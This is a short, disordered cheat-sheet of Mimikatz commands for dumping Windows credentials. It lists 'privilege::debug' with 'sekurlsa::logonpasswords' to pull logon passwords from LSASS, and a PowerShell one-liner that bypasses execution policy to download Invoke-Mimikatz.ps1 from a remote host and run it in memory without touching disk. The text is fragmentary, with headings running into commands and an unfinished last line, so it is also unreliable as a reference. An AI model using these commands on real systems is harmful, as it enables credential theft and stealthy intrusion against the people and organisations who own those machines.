Commands: Mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit (PowerShell without touching disk):

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://.../Invoke-Mimikatz.ps1'); Invoke-Mimikatz" (if LSASS is protected): mimikatz commands

privilege::debug If successful, you can interact with LSASS. Interactive (from downloaded mimikatz.exe): mimikatz

mimikatz.exe (command line):